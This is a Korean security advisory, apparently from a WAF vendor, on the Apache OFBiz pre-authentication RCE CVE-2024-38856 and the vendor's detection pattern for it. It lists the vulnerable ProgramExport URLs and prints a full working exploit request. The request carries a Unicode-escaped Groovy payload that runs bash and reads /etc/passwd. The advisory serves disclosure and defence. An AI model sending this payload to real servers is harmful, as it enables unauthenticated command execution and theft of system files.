해당 취약점은 아파치 오브비즈의 사전 인증 RCE 취약점으로, 공격자가 특정 URL 요청을 처리할 때 잘못된 인증 프로세스를 악용하여 인증 과정 없이 악성 코드를 실행할 수 있습니다.
해당 취약점은 Apache OFBiz 18.12.15 버전에 패치되었으며, AIWAF는 2228을 통해 대응하고 있습니다: 2025년 1월 패턴 업데이트에 추가된 Apache OFBiz 원격 코드 실행 패턴을 통해 대응하고 있으며 관련 취약점을 지속적으로 모니터링하고 있습니다.
1. 개요
Apache OFBiz는 무료 오픈소스 ERP로, 최근 해당 플랫폼에서 발견된 사전 인증 RCE 취약점인 CVE-2024-38856에 대해 분석한 내용을 정리하였습니다.
출처 : https://www.helpnetsecurity.com/2024/08/05/cve-2024-38856/
2. 공격 유형
CVE-2024-38856는 Apache OFBiz에서 발생한 사전 인증 RCE 취약점으로, 특정 URL에 대한 요청 처리 시 잘못된 인증 과정으로 인해 인증 과정을 거치지 않고 요청을 처리합니다.
과거 해당 과정을 활용한 취약점 CVE-2024-36104가 존재하여 패치를 진행하였으나, Sonicwall에 따르면 근본적으로 해당 기능이 수정되지 않고 Path Traversal에 대한 검사 기능을 추가하는 방식으로 대응하였기에 Path Traversal 구문 없는 URL을 전송하여 해당 패치를 우회하였습니다.
출처 : https://www.sonicwall.com/blog/sonicwall-discovers-second-critical-apache-ofbiz-zero-day-vulnerability
공격자는 페이지 뷰를 렌더링하는 ProgramExport 기능을 활용하여 특정 URL로 악성 페이로드를 groovyProgram 파라미터에 담아 전송하는 방식으로 공격을 수행합니다.
공격에 활용되는 URL로는 다음과 같습니다.
- /webtools/control/forgotPassword/ProgramExport
- /webtools/control/main/ProgramExport
- /webtools/control/showDateTime/ProgramExport
- /webtools/control/view/ProgramExport
- /webtools/control/TestService/ProgramExport
RCE 공격 Request :
POST /webtools/control/main/ProgramExport HTTP/1.1
Content-Length: 1198
Content-Type: application/x-www-form-urlencoded
Host: www.tdst.com
User-Agent: HTTPie
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u005b\u0022\u0062\u0061\u0073\u0068\u0022\u002c\u0020\u0022\u002d\u0063\u0022\u002c\u0020\u0022\u007b\u0065\u0063\u0068\u006f\u002c\u005a\u0057\u004e\u006f\u0062\u0079\u0042\u0062\u0063\u006d\u0056\u007a\u0064\u0057\u0078\u0030\u0058\u0054\u0073\u0067\u0059\u0032\u0046\u0030\u0049\u0043\u0039\u006c\u0064\u0047\u004d\u0076\u0063\u0047\u0046\u007a\u0063\u0033\u0064\u006b\u004f\u0079\u0042\u006c\u0059\u0032\u0068\u0076\u0049\u0046\u0074\u0079\u005a\u0058\u004e\u0031\u0062\u0048\u0052\u0064\u004f\u0077\u003d\u003d\u007d\u007c\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u002d\u0064\u007d\u007c\u007b\u0062\u0061\u0073\u0068\u002c\u002d\u0069\u007d\u0022\u005d\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
3. 대응 방안
Apache OFBiz에서는 CVE-2024-38856에 대한 패치를 발표하였기에 해당 제품 사용자는 18.12.15 버전 이상으로 패치하여 대응하여야 하며, 저희 AIWAF 제품에서 해당 취약점은 2025년 1월 패턴 업데이트에 추가된 2228: Apache OFBiz Remote Code Execution 패턴을 통해 대응하고 있습니다.
4. 결론
Apache OFBiz는 강력한 오픈소스 ERP로, 오픈소스라는 장점으로 인해 많은 곳에서 사용되기 때문에 해당 취약점의 경우 CISA 카테고리에 추가된 굉장히 영향력이 있고, CVSS 점수 9.8을 받은 위험한 취약점으로 확인되었기 때문에 빠르게 최신 버전으로 패치를 진행하여야 합니다.
저희 AIWAF 제품에서는 Apache OFBiz에서 발생하는 취약점들에 대해 패턴을 개발하여 대응하고 있으며, 앞으로도 발견되는 관련 취약점들에 대해서도 신속하게 대응할 예정입니다.
